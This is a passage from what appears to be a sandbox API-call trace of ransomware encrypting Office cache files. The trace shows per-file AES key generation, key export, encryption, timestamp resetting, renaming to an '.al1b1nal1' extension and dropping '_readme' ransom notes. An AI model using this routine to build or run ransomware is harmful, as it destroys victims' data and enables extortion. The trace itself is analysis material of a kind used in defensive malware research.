lpOverlapped=0x0) returned 1 [0096.984] FlushFileBuffers (hFile=0x2a0) returned 1 [0097.012] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0xa00000 [0097.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x62fcc0) returned 0x24f0020 [0097.013] ReadFile (in: hFile=0x2a0, lpBuffer=0x24f0020, nNumberOfBytesToRead=0x62fcbb, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x24f0020*, lpNumberOfBytesRead=0x119fb28*=0x62fcbb, lpOverlapped=0x0) returned 1 [0097.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x62fcc0) returned 0x2b20020 [0097.377] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24f0020*, pdwDataLen=0x119fb24*=0x62fcbb, dwBufLen=0x6300bb | out: pbData=0x24f0020*, pdwDataLen=0x119fb24*=0x62fcc0) returned 1 [0097.556] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0097.556] NtClose (Handle=0x2a0) returned 0x0 [0097.855] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.al1b1nal1")) returned 1 [0097.858] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0097.858] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0097.858] GetLastError () returned 0x2 [0097.858] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d4f50, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0097.858] GetLastError () returned 0x2 [0097.858] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0097.859] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0097.859] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0097.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0097.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xb) returned 0x94d630 [0097.861] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0097.861] NtClose (Handle=0x2a0) returned 0x0 [0097.862] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0097.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0097.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0097.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1ae0020) returned 1 [0097.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0097.910] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0097.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0097.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0097.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0097.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0097.912] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1 [0097.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0097.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0097.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0097.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0097.913] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0097.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0097.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0097.914] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1 [0097.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0097.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0097.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0097.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0097.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0097.916] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1 [0097.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0097.916] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0097.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0097.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0097.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0097.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0097.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0097.918] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0097.918] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0097.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0097.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0097.918] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0097.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0097.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0097.919] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0097.919] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0097.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x263e00) returned 0x1ae0020 [0097.920] ReadFile (in: hFile=0x2a0, lpBuffer=0x1ae0020, nNumberOfBytesToRead=0x263e00, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesRead=0x119fb28*=0x263e00, lpOverlapped=0x0) returned 1 [0097.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x263e00) returned 0x1d50020 [0098.089] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1d50020*, pdwDataLen=0x119fb24*=0x263e00, dwBufLen=0x264200 | out: pbData=0x1d50020*, pdwDataLen=0x119fb24*=0x263e10) returned 1 [0098.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x263e40) returned 0x1fc0020 [0098.280] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.280] NtClose (Handle=0x2a0) returned 0x0 [0098.281] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.al1b1nal1")) returned 1 [0098.281] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0098.282] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0098.282] GetLastError () returned 0x2 [0098.282] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d4f70, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0098.282] GetLastError () returned 0x2 [0098.282] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.282] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.282] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0098.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0098.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x1b) returned 0x12c3320 [0098.283] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.283] NtClose (Handle=0x2a0) returned 0x0 [0098.284] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0098.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0098.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0098.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1fc0020) returned 1 [0098.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0098.298] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0098.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0098.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0098.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0098.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.299] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0098.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0098.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0098.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0098.299] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0098.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0098.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.300] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0098.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0098.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0098.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.301] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0098.301] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.301] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0098.302] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0098.302] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0098.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0098.302] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0098.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0098.303] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0098.303] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0098.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x640) returned 0x11f6058 [0098.303] ReadFile (in: hFile=0x2a0, lpBuffer=0x11f6058, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x11f6058*, lpNumberOfBytesRead=0x119fb28*=0x61d, lpOverlapped=0x0) returned 1 [0098.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x640) returned 0x9f5648 [0098.305] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1273230*, pdwDataLen=0x119fb24*=0x61d, dwBufLen=0xa1d | out: pbData=0x1273230*, pdwDataLen=0x119fb24*=0x620) returned 1 [0098.308] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.308] NtClose (Handle=0x2a0) returned 0x0 [0098.308] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.al1b1nal1")) returned 1 [0098.309] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0098.309] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0098.309] GetLastError () returned 0x2 [0098.309] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d4f90, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0098.309] GetLastError () returned 0x2 [0098.309] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.309] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.309] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0098.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0098.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7) returned 0x94d278 [0098.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab1210 [0098.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d278) returned 1 [0098.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab1210) returned 1 [0098.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2d1) returned 0x13651e8 [0098.311] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.311] NtClose (Handle=0x2a0) returned 0x0 [0098.312] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0098.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0098.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0098.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0098.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0098.313] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0098.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0098.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0098.314] RtlFreeHeap 